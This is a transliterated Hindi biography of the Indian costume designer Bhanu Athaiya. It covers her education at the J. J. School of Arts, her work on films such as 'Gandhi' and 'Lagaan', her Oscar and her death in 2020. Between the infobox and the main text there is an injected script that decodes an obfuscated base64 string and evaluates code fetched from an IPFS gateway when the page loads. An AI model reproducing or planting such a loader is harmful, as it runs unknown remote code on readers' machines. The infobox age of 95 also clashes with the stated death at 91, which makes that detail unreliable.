भानु अथैया

bhanu athaiya
bhanu athaiya|200px|center
poora nam	bhanumati annasaheb rajopadhyey
prasiddh nam	bhanu athaiya
janm	28 aprail, 1929 (ayu- 95 varsh)
janm bhoomi	kolhapur, maharashtr
mrityu	15 aktoobar, 2020
mrityu sthan	muanbee, maharashtr
abhibhavak	pita- annasaheb, mata- shaantabaee rajopadhyey
pati/patni	satyendr athaiya
karm bhoomi	muanbee, bharat
karm-kshetr	filmoan mean dres dizainar
mukhy filmean	'gaandhi', 'sahib, bibi aur gulam', 'vakt', 'reshama aur shera', 'lekin', 'lagan', 'd aau, baba saheb ambedakar' adi.
shiksha	snatak (gold medal)
vidyalay	je. je. skool aauf arts, muanbee
puraskar-upadhi	'aauskar avard' (1983), 'rashtriy film avard' (1991), 'laif taim achivameant avard' (2009)
prasiddhi	dres dizainar
nagarikata	bharatiy
any janakari	bhanu athaiya ne film 'gaid' mean vahida rahaman, 'brahmachari' mean mumataj, 'satyam shivam suandaram' mean jinat aman ke vastr dijain kie the.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>bhanumati annasaheb rajopadhyey (aangrezi: Bhanu Athaiya; janm- 28 aprail, 1929, kolhapur; mrityu- 15 aktoobar, 2020, muanbee) bharatiy sinema mean mashahoor dres dizainar ke roop mean jani jati thian. vah aisi pahali bharatiy mahila rahian, jinhean 'aauskar puraskar' se navaja gaya tha. bhanu athaiya sadhe paanch dashak tak hindi sinema mean sakriy rahian. is dauran unhoanne dres dizainiang ko nit naye ayam diye. unhean prasiddh film nirmata-nirdeshak richard etanabaro ki film "gaandhi" ke lie sarveshreshth dres dizainar ka 'aauskar' mila tha. bhanu athaiya 100 se bhi adhik filmoan ke lie dizainiang kar rik aaurd buk mean apana nam darj kara chuki thian. film jagath mean apane khatte-mithe anubhavoan ke sath k aaustyoom dizainiang aur faishan mean ae badalavoan ko unhoanne hal hi mean prakashit pustak "bhanu rajopadhye athaiya-d art aauf k aaustyoom dizain" mean sametane ki koshish ki thi.

janm tatha shiksha

bhanu athaiya ka janm 28 aprail, 1929 ko maharashtr rajy ke kolhapur mean hua tha. inaka poora nam 'bhanumati annasaheb rajopadhyey' rakha gaya tha. inake pita ka nam annasaheb aur mata shaantabaee rajopadhyey thian. apane mata-pita ki sat santanoan mean bhanu athaiya tisare sthan par thian. gauratalab hai ki azadi ke pahale us daur mean kolhapur jaise chhote shahar mean bhanu ke mata-pita ne apani beti ko khoob padhaya aur usaki ruchiyoan aur pratibha ko dekhate hue use muanbee ke je. je. skool aauf arts mean shiksha ke lie bheja. yahaan se unhoanne snatak ki upadhi gold medal ke sath prapt ki. isake bad ve 'progresiv art grup' ki sadasy ke liye bhi namit hueean. mata-pita ne jab apani beti bhanu ko rekhachitr banate dekha tha to use protsahit kiya aur agrah kiya ki vah gaandhiji ka rekhachitr banae. ise sanyog hi kaha jayega ki bachapan mean gaandhiji ka rekhachitr banane vali bhanu ko hi kuchh dashak bad sar richard etanabaro ki aantararashtriy film 'gaandhi' ki veshabhoosha banane ke lie aauskar se navaja gaya.

vivah

hindi filmoan ke jane-mane gitakar aur ek kavi ke roop mean pahachane jane vale satyendr athaiya ke sath bhanu athaiya ka vivah sampann hua tha. athaiya dampatti ka yah rishta adhik dinoan tak nahian chal saka. bhanu athaiya ne doosara vivah bhi nahian kiya. inaki ek beti bhi huee, jo ab apane parivar ke sath kolakata mean rahati hai.

filmoan ke dizainiang ka kary

bhanu athaiya ne varsh 1953 mean dres dizainiang shuroo ki aur agale 56 varshoan mean unhoanne hindoo sinema mean dres dizain ke sauandaryashastr ko paribhashit karane vali ek asadharan kary paddhati ka vikas kiya. mahila patrikaoan ke liye ek faishan visheshajn ke roop mean svatantr kary karane ke bad bhanu athaiya ne filmoan ke liye bhi paridhan-dizain karana aranbh kiya. film 'shri 420' mean abhinetri nadira ke liye "mu d-mu d ke na dekh..." gane ke liye taiyar kiye ge gaun ne unhean vishisht pahachan dilaee. yah gana kafi hit hua aur nadira hindi sinema ki sarvotkrisht abhinetriyoan mean shumar ho geean. abhinetra sadhana ki kasavadar salavar-kamij ko bhi bhanu athaiya ne hi dizain kiya tha, jisaka jadoo 1970 ke dashak tak faishan ke roop mean chhaya raha.

prasiddhi

dres dizainar filmoan ki kahaniyoan ke anuroop hi paridhan-vastr-aanlakar taiyar karate haian aur sinema ke priy patr inhean pahan kar v odhaqar apani khas chhaviyaan chho d jate haian. bhanu athaiya aisi hi dres dizainar haian, jinake paridhan charitroan mean jan dal dete haian. bhanu athaiya 1982 mean prakhyat filmakar richard etenabaro ki film 'gaandhi' mean aauskar avard pane vali pahali bharatiy haian. unake utkrisht dizainoan aur apane kam ke prati lagan ne bharatiy sinema ko k aaustyoom dizainiang ke lie nee upalabdhiyaan dian. bhanu athaiya ne 100 se bhi adhik filmoan mean jane-mane filmakaroan, jaise- gurudatt, yash chop da, raj kapoor, ashutosh govarikar, k aaunared rooks aur richard etenabaro adi ke sath kam kiya. 'si.aee.di.' (1956), 'pyasa' (1959), 'chaudahavi ka chaand' (1960) aur 'sahab bibi aur gulam' (1964) jaisi saphal filmoan ne bhanu athaiya ko ek vishisht pahachan dilaee. bhanu athaiya charitr aur film ke kathanak ko dhyan mean rakhakar paridhan dizain karati haian aur manamohak chhaviyaan charitroan mean dhal deti haian.

puraskar v samman

inhian saphalatam koshishoan ke phalasvaroop unhoanne 'sahib bibi aur gulam', 'reshama aur shera' adi ke lie bhi prashansa batori. bhanu athaiya ki sabase b di saphalata 'aauskar avard' (1983) prapt karana tha. yah avard unhean film 'gaandhi' mean vastr dizain ke lie diya gaya tha. gulazar ki film 'lekin' ke liye bhanu athaiya ko varsh 1990 ka sarvochch k aaustyoom dizainar avard mila. bhanu athaiya ki hal ki saphalatam filmean haian- jabb़ar patel ki 'd aau. baba saheb ambedakar' aur amir khan 'lagan', jisane inhean doosara rashtriy puraskar dilaya. bhanu athaiya ne telivijan siriyals aur natakoan ke liye bhi paridhan dizain kiye haian. isake atirikt varsh 1991 mean 'lekin' ke lie 'rashtriy film avard' aur 2009 mean 'laif taim achivameant avard' bhi inhean mila.

pramukh filmean

ve pramukh filmean jinake lie bhanu athaiya ne vastr dizainiang ki thi, nimnalikhit haian-

1. shri 420 - 1955
2. sahib, bibi aur gulam - 1962
3. vakt - 1965
4. reshama aur shera - 1971
5. gaandhi - 1982
6. lekin - 1990
7. d aau. baba saheb ambedakar - 2000
8. lagan - 2001

kitab ka prakashan

bhanu athaiya ne apani filmi yatra par keandrit ek kitab bhi jari ki hai. filmakar kumar shahani ne 'd art aauf k aaustyoom dizain' kitab ka lokarpan kiya. richard etanabaro ne bhi is kitab ki prashansa ki hai. etanabaro ne landan se apane sandesh mean kaha ki "kisi vyakti dvara aise jnan, darshan aur utsah ke sath kie ge aitihasik kary ka dastavejikaran mahattvapoorn tha." bhanu athaiya ke sath apane kam ko yad karate hue etanabaro ne kaha ki "apane sapanoan ki film 'gaandhi' banane ke lie mujhe 17 varsh ka samay laga, jabaki is film mean parde par dikhane vale hazaroan logoan ke bharatiy vastr taiyar karane ke lie sahi vyakti ke roop mean bhanu athaiya ke chunav mean keval 15 minat ka samay laga." is kitab mean nau adhyay haian. jinamean bhanu athaiya ke kolhapur mean bitae shuruati dinoan, unaka muanbee ana, unaki raj kapoor aur gurudatt se mulakat, filmoan mean gahanoan ka jadoo, chalan vikasit karane vale vastroan aur dizainar dvara prapt puraskaroan aur sammanoan ki janakari di gee hai.

prasiddh hastiyoan ke lie kary

bhanu athaiya ne film 'gaid' mean vahida rahaman, 'brahmachari' mean mumataj, 'satyam shivam suandaram' mean jinat aman ke vastr dijain kie the. unhoanne 130 filmoan mean vastr dijain kie haian aur raj kapoor, gurudatt, bi. ar. chop da, yash chop da, devanand aur ashutosh govarikar jaise filmakaroan ke sath kam kiya hai. bhanu athaiya ne raj kapoor ki 'mera nam jokar' se lekar 'ram teri ganga maili' tak kee filmoan ki dres dizainiang ki. unhoanne apane samay ki saphal film 'rajiya sultan' se lekar amol palekar ke natakoan tak ke lie veshabhoosha banaee hai.

bhanu athaiya ka kahana hai ki film kalakar unake kolaba sthit ghar par chalane vale varkash aaup par apane kap de dizain karavane ate haian. varsh 1964 mean 'sangam' mean vaijayanti mala ke lie bhanu ki dizain ki gee krep silk sa diyoan ko behad pasand kiya gaya tha. bhanu kahati haian ki film 'satyam shivam suandaram' mean ek gramin l daki aur doosari taraf usi l daki ko ek apsara ki tarah dikhane ke lie dres dizain karana kafi chunautipoorn kam tha. 1962 mean film 'sahib, bibi aur gulam' mean mina kumari ko unake charitr, zamiandar ki patni ke roop mean unaka prem hasil karane ki jaddojahad, ko darshane ke lie lait phletariang sa diyaan dizain karani thian. film 'gaandhi' ke lie bhanu athaiya ko shreshth k aaustayoom dizainar ka 'aauskar puraskar' mila. ve batati haian ki gaandhiji ki bhoomika nibha rahe ben kiangsale ko paranparik kathiyava di kap de pahanane the, jo ki gaandhiji ke paitrik gaanv mean pahane jate the. kastooraba ki bhoomika mean rohini hatang di ne haiandaloom b aaurdar ki sa diyaan pahani thian. 2001 mean film 'lagan' ki british abhinetri rashel ke lie topi, dastane aur doosari aisi chizean kharidane ke lie bhanu athaiya ko ianglaiand jana p da tha.

aauskar ki suraksha

50 ke dashak se bharatiy sinema mean sakriy bhanu athaiya ne 100 se zyada filmoan ke lie k aaustyoom dizain kie. aauskar ke alava unhean do rashtriy puraskar bhi mile the. amir khan ki film 'lagan' aur shaharukh khan ki film 'svades' mean unhoanne akhiri bar k aaustyoom dizain kie the. sal 2012 mean bhanu athaiya ne aauskar tr aauphi ko lautane ki ichchha jataee thi. vo chahati thian ki unake jane ke bad aauskar tr aauphi ko surakshit sthan par rakha jae. tab bibisi se batachit mean bhanu athaiya ne kaha tha, "sabase b da saval tr aauphi ki suraksha ka hai, bharat mean pahale kee av aaurd gayab hue hai. maine itane saloan tak av aaurd ko ianj aauy kiya hai, chahati hooan ki vo age bhi surakshit rahe". unhoanne kaha tha, "maian aksar aauskar aauphis jati hooan, maine dekha ki vahaan kee logoan ne apane tr aauphi rakhe haian. amariki k aaustyoom dijainar edith hed ne bhi marane se pahale apane ath aauskar tr aauphiyoan ko aauskar aauphis mean rakhavaya tha".

bhanu athaiya ne aauskar samaroh ki us sham ko yad karate hue kaha tha, "dorothi shiandaleyar paveliyan mean ho rahe samaroh mean ga di se mere sath philm ke lekhak bhi ja rahe the. unhoanne kaha tha ki unhean lagata hai ki av aaurd mujhe hi milega. doosare dizainars bhi yahi kah rahe the ki av aaurd mujhe hi milega. maianne poochha ki aisa itane vishvas se ap kaise kah sakate haian? is saval par un logoan ne mujhe javab diya ki apaki philm ka dayara itana b da hai ki usase ham pratiyogita nahian kar sakate hai". avard lete vakt maianne sirph yahi kaha tha ki "maian sar richard aautenabaro ka shukriya ada karati hooan ki unhoanne duniya ka dhyan bharat ki taraph khiancha... dhanyavad akadami".

bhanu athaiya chitrakari mean gold medelist bhi thian aur yahi vajah thi ki richard aautenab aauro ne unhean apani film mean chuna tha. bhanu athaiya ka manana tha ki agar unaki tr aauphi aauskar ke daphtar mean rakhi jaegi to zyada log ise dekh paeange.

mrityu

bharat ki pahali aauskar vijeta aur sinema jagat ki jani-mani k aaustyoom dijainar bhanu athaiya ka 91 varsh ki ayu mean nidhan 15 aktoobar, 2020 ko muanbee, maharashtr mean hua.

panne ki pragati avastha

adhar

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poornata

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